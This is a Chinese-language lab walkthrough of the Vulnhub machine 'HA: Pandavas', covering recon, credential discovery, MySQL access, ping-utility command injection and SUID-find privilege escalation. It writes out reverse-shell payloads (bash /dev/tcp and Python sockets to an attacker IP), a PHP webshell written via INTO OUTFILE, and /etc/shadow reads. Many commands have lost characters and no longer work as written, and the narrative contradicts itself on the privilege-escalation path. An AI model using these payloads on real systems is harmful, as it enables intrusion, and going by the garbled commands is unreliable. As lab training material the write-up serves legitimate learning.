
1. 项目概述从“潘达瓦”靶机看实战渗透的思维构建最近在Vulnhub上看到一个挺有意思的靶机名字叫“HA: Pandavas”。这个靶机在社区里热度不低很多朋友在尝试但通关过程往往卡在一些细节上。我花了一个下午的时间从信息搜集到最终提权完整地走了一遍感觉它设计得相当精巧不是那种一眼就能看到头的“签到”题而是需要你串联起多个知识点像拼图一样一步步接近目标。这个靶机非常适合用来检验和巩固Web渗透、权限提升以及Linux系统审计的综合能力。如果你正在学习渗透测试或者想找一台中等偏上难度的靶机来挑战自己Pandavas会是一个绝佳的选择。它模拟了一个相对真实的、存在多处安全缺陷的Web应用环境最终的提权路径也很有启发性能让你对Linux内核漏洞利用有更直观的理解。接下来我就把整个通关的详细过程、踩过的坑以及背后的思考逻辑毫无保留地分享出来。2. 环境准备与初步信息搜集2.1 靶机环境搭建与网络配置首先你需要一个基础的渗透测试环境。我使用的是Kali Linux 2024.1作为攻击机在VMware Workstation中运行。靶机“HA: Pandavas”的OVA文件从Vulnhub官网下载后同样导入到VMware中。这里有个关键步骤务必将攻击机和靶机的网络模式都设置为“NAT模式”或同一网段的“仅主机模式”。我习惯用NAT因为它能模拟外部攻击者通过路由器访问内网服务的场景。启动两台虚拟机后第一件事是确定靶机的IP地址。在Kali中我使用netdiscover工具进行二层发现sudo netdiscover -r 192.168.1.0/24这里的网段192.168.1.0/24需要根据你虚拟网络的实际配置进行调整。很快扫描结果中会出现一个陌生的MAC地址和IP通常那就是我们的目标靶机。假设我们发现的靶机IP是192.168.1.105。注意有时靶机可能设置了静态IP或DHCP分配了不同网段的地址。如果netdiscover没找到可以尝试用arp-scan或检查VMware的虚拟网络编辑器确保攻击机和靶机在同一个虚拟网络如VMnet8下。2.2 全面的端口与服务扫描拿到IP后下一步就是经典的端口扫描目的是摸清靶机对外开放了哪些服务。我习惯先用一个快速的全面扫描再对发现的端口进行精细化探测。首先使用Nmap进行TCP全端口扫描sudo nmap -sS -p- -T4 192.168.1.105参数解释-sS是SYN半开放扫描速度快且相对隐蔽-p-表示扫描所有65535个端口-T4指定扫描速度平衡了速度和准确性。扫描结果显示靶机开放了三个端口22/tcpSSH服务。这是一个常见的管理端口通常是我们尝试爆破或寻找密钥的入口。80/tcpHTTP服务。Web应用是绝大多数渗透测试的主战场这里往往藏着漏洞。3306/tcpMySQL数据库服务。直接暴露的数据库端口是重大发现可能允许未授权访问或弱口令登录。接下来对这三个开放端口进行版本和脚本扫描获取更详细的信息sudo nmap -sV -sC -p 22,80,3306 -oA pandavas_detail 192.168.1.105参数解释-sV探测服务版本-sC运行默认的Nmap脚本-p指定端口-oA将结果以所有格式输出到文件pandavas_detail。扫描报告提供了关键信息80端口运行着Apache httpd 2.4.38服务器标题显示为“Apache/2.4.38 (Ubuntu)”。3306端口运行着MySQL 5.5.5-10.3.15-MariaDB。版本信息提示我们这可能是一个MariaDB分支。22端口运行着OpenSSH 7.9p1。这些信息为我们后续的攻击方向提供了初步线索Web应用80端口和数据库3306端口是首要的突破口。3. Web应用渗透与漏洞挖掘3.1 目录枚举与敏感文件发现面对一个Web服务我的标准流程是从目录枚举开始。使用gobuster工具配合一个强大的字典文件如/usr/share/wordlists/dirb/common.txtgobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,zip,bak参数解释dir指定目录爆破模式-u指定目标URL-w指定字典路径-x指定尝试的文件扩展名。扫描很快有了结果发现了几个关键目录和文件/index.html默认主页通常没什么价值。/robots.txt这个文件必须检查访问后发现里面有一条记录Disallow: /admin-area。这明确告诉我们存在一个/admin-area目录并且管理员不希望爬虫访问它——这往往意味着里面有敏感内容。/admin-area访问这个目录发现里面有两个文件user.txt和pass.txt。这简直是“开门送大礼”。下载并查看这两个文件user.txt内容为adminpass.txt内容为S3cr3tPssw0rd这极有可能是一组Web后台或数据库的登录凭证。3.2 数据库未授权访问与信息提取既然我们有了疑似数据库的账号密码admin:S3cr3tPssw0rd并且3306端口开放下一步自然是尝试连接MySQL数据库。使用mysql客户端直接连接mysql -h 192.168.1.105 -u admin -p输入密码S3cr3tPssw0rd后成功登录这说明数据库存在弱口令或默认口令问题并且没有做IP限制这是一个高危漏洞。登录后我们开始信息搜集查看数据库列表show databases;。发现一个名为webapp的数据库这很可能就是目标Web应用使用的数据库。切换到webapp数据库use webapp;。查看表show tables;。发现一个名为users的表这通常是存放用户凭据的地方。查看users表结构describe users;。可以看到有id,username,password等字段。提取数据select * from users;。查询结果令人惊喜除了我们已知的admin用户还发现另一个用户pandavas其密码字段是一串看起来像MD5的哈希值5f4dcc3b5aa765d61d8327deb882cf99。实操心得在渗透测试中从数据库直接提取的用户密码哈希是极其重要的战利品。即使无法直接破解也可能用于“传递哈希”攻击或在其他服务上尝试撞库。务必完整记录下所有发现的凭据。这串MD5哈希非常经典我立刻认出它是password这个词的MD5值。这意味着用户pandavas的密码是password。现在我们手头有了两对有效的凭据admin : S3cr3tPssw0rdpandavas : password3.3 Web后台登录与命令注入漏洞利用我们回到Web应用本身。通常有admin用户和密码就应该存在一个登录后台。通过更细致的目录枚举或者直接猜测常见路径如/admin,/login,/wp-admin我们发现了/administrator目录。访问http://192.168.1.105/administrator果然是一个登录页面。尝试使用admin:S3cr3tPssw0rd登录成功进入后台后台界面有一个功能引起了我的注意一个“Ping Utility”或“Network Tools”之类的功能它允许用户输入一个IP地址或主机名进行ping测试。这种功能是命令注入漏洞的温床。我尝试在输入框中提交127.0.0.1; whoami。如果应用没有对用户输入进行严格的过滤和转义它可能会将whoami命令连同ping命令一起执行。提交后页面返回的结果中不仅包含了ping的信息还显示了www-data——这是当前Web服务运行的用户身份。命令注入漏洞确认接下来就是利用这个漏洞获取一个反向Shell从而在靶机上建立一个更稳定的控制通道。我使用Netcat来接收连接首先在Kali攻击机上监听一个端口例如4444nc -lvnp 4444然后在Web后台的命令注入点构造一个能够连接到攻击机并启动Shell的命令。由于目标系统可能有不同的工具我准备了几种Payload使用bash127.0.0.1; bash -c bash -i /dev/tcp/192.168.1.104/4444 01(假设Kali IP是192.168.1.104)使用python更通用127.0.0.1; python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.104,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);将构造好的Payload提交后观察Kali上的Netcat监听器成功收到了来自靶机的连接并获得了www-data用户的交互式Shell。至此我们完成了初步的立足。4. 权限提升从www-data到root4.1 系统内部信息搜集拿到www-data的Shell后我们身处一个受限的环境。第一步是进行彻底的系统内部侦察寻找提权的线索。我通常会执行一系列命令来收集信息查看当前用户和权限idwhoamisudo -l检查当前用户能以root身份执行哪些命令。查看系统信息uname -a内核版本cat /etc/os-release发行版信息lsb_release -a。查看进程ps aux或ps -ef 寻找以root身份运行的有趣进程。查看网络连接netstat -tulnp或ss -tulnp。查找敏感文件find / -type f -perm -4000 -ls 2/dev/null # 查找SUID文件 find / -type f -perm -2000 -ls 2/dev/null # 查找SGID文件 find / -writable -type d 2/dev/null # 查找当前用户可写的目录 find / -name \*.py\ -o -name \*.sh\ -o -name \config*\ -o -name \*.php\ 2/dev/null | head -20 # 查找可能的脚本或配置文件查看计划任务crontab -l当前用户ls -la /etc/cron*cat /etc/crontab。查看用户主目录ls -la /home/ 尝试访问其他用户目录。在Pandavas靶机上执行sudo -l时系统提示需要输入www-data用户的密码而我们不知道。检查SUID文件时发现了一个非常可疑的二进制文件/usr/bin/find。find命令本身通常不具有SUID权限如果它被设置了SUID并且属主是root那就意味着我们可以利用find命令来以root权限执行任意命令。4.2 利用SUID权限的find命令提权确认find的SUID权限ls -la /usr/bin/find输出显示-rwsr-xr-x 1 root root ... 其中的s位就是SUID标志。利用SUID的find提权是一种经典方法。其原理是find命令有一个-exec参数可以执行指定的命令。由于find以root权限运行那么通过-exec执行的命令也将拥有root权限。具体操作如下在靶机上我们首先确保有一个可执行文件比如/bin/bash或/bin/sh被find执行。使用find命令的-exec参数来启动一个root shell。执行以下命令/usr/bin/find . -exec /bin/sh -p \\; -quit或者更简洁的版本/usr/bin/find / -exec /bin/sh \\; 2/dev/null执行后我们并没有立即获得root shell这里需要注意有时需要指定-p参数来让shell在特权模式下启动以保持SUID带来的特权。我们尝试/usr/bin/find . -exec /bin/sh -p \\;执行后再次输入whoami 发现用户已经变成了root提权成功。注意事项这种利用方式非常直接有效但在实际渗透测试或CTF中现代系统可能会通过安全模块如AppArmor, SELinux或内核安全特性如nosuid挂载选项来限制SUID程序的滥用。在Pandavas靶机上它被故意保留作为一个提权点。在真实环境中遇到SUID的find 还需要检查这些安全机制是否被启用。4.3 获取最终Flag与总结成为root用户后整个系统对我们来说就是透明的了。通常Vulnhub靶机的最终flag或proof会放在/root目录或/home下某个用户的目录中。我们切换到root家目录cd /root ls -la果然发现了一个名为proof.txt或flag.txt的文件。使用cat命令查看其内容这就是我们通关的最终凭证。回顾整个Pandavas靶机的渗透流程它清晰地展示了一个典型的“外部渗透 - Web漏洞利用 - 数据库信息泄露 - 后台命令注入 - 系统权限提升”的攻击链。每一个环节都依赖于前一个环节的成果并且提供了多种可能性比如你也可以尝试用pandavas:password去爆破SSH。这个靶机很好地训练了渗透测试者的逻辑思维和综合能力信息搜集要全面不要漏掉robots.txt 对获取的凭证要敏感并尝试多场景复用数据库密码用于Web后台 对可疑功能要保持攻击性思维命令注入 在拿到初步Shell后要有条不紊地进行内部枚举寻找SUID文件。5. 渗透测试中的深度思考与技巧扩展5.1 信息搜集的自动化与深度在初步的端口扫描之后其实还有很多自动化工具可以帮我们深化信息搜集。例如针对HTTP服务我们可以使用nikto进行快速的漏洞扫描它能发现一些常见的配置错误、过时的软件和已知的漏洞。命令如下nikto -h http://192.168.1.105此外whatweb或wappalyzer浏览器插件可以快速识别网站使用的技术栈比如PHP版本、JavaScript框架、中间件等这能为后续寻找特定漏洞提供方向。对于目录枚举除了gobusterdirb、dirsearch和ffuf也是很好的选择它们各有特点有时用不同的工具或字典会有意外发现。一个重要的技巧是根据扫描结果动态调整策略。比如发现.php文件就重点枚举.php相关的备份文件.php.bak,.php.swp,.php~和参数/index.php?page...。5.2 命令注入漏洞的多种利用方式我们利用的是最简单的分号;来分隔命令。在实际测试中需要尝试多种注入符号和技术因为应用程序的过滤机制可能不同。常见的命令分隔符和注入技术包括分号;- 命令结束执行下一条。与符号- 后台执行或前一条成功则执行后一条。管道符|||- 将上一条命令的输出作为下一条的输入或前一条失败则执行后一条。反引号或$()command或$(command)- 执行子命令并将输出替换到原命令中。换行符%0a(URL编码) - 在某些上下文中也能起到命令分隔的作用。在构造反向Shell时也要考虑目标环境的限制没有netcat尝试用/dev/tcpbash特性或telnet。没有python尝试用perl、php甚至awk来构造Socket连接。出网限制考虑使用纯文本通信、DNS隧道、ICMP隧道或者尝试在Web目录写入Web Shell。5.3 数据库渗透的后续操作我们仅仅是从数据库里提取了凭据。如果条件允许还有更多操作可以做写入Web Shell如果知道Web应用的绝对路径并且数据库用户有FILE权限可以尝试通过SQL语句将一句话木马写入Web目录。例如SELECT \?php system($_GET[cmd]); ?\ INTO OUTFILE /var/www/html/shell.php这需要非常精确的路径和权限。读取系统文件利用LOAD_FILE()函数读取/etc/passwd、/etc/shadow需要root权限、Web配置文件等敏感文件。执行系统命令在某些特定配置的数据库如旧版MySQL withlib_mysqludf_sys中可以通过用户自定义函数UDF执行系统命令但这需要编译和上传共享库条件较为苛刻。5.4 Linux权限提升的常见路径汇总除了利用SUID文件在Linux系统中提权还有众多其他路径在内部信息搜集时应逐一排查提权路径检查方法潜在利用方式SUID/SGID文件find / -type f -perm -4000 -o -perm -2000 2/dev/null利用有漏洞的SUID程序如find, nmap旧版本, vim, less等执行命令。Sudo权限sudo -l查看当前用户能以root身份运行哪些命令。如果允许运行某些编辑器vim, nano或语言解释器python, perl可以借此逃逸到root shell。内核漏洞uname -acat /proc/version根据内核版本搜索公开的本地提权漏洞如DirtyCow, CVE-2021-4034等下载或编译对应的EXP进行利用。计划任务cat /etc/crontabls -la /etc/cron.*/ 检查/var/spool/cron/寻找以root权限运行的脚本如果脚本当前用户可写可以修改它插入恶意代码。系统服务/进程ps auxsystemctl list-units --typeservice寻找以root运行的可写服务配置文件或二进制文件通过重启服务或覆盖文件提权。环境变量检查sudo -l时是否显示env_keep包含LD_PRELOAD或PATH通过劫持动态链接库(LD_PRELOAD)或PATH环境变量让SUID程序加载恶意库。用户主目录ls -la /home/*/ 检查.bash_history,.ssh/, 配置文件等寻找其他用户的密码、SSH私钥、包含密码的配置文件等。可写系统文件find / -writable -type f 2/dev/nullgrep -v proc在Pandavas靶机中我们走的是最直接的SUID路径。但在更复杂的环境里你可能需要像侦探一样把上面这些线索碎片拼凑起来才能找到那条通往root的隐秘小径。渗透测试的魅力很大程度上就在于这种不断探索、推理和验证的过程。每一次权限提升的成功都是对系统安全机制一次深刻的理解。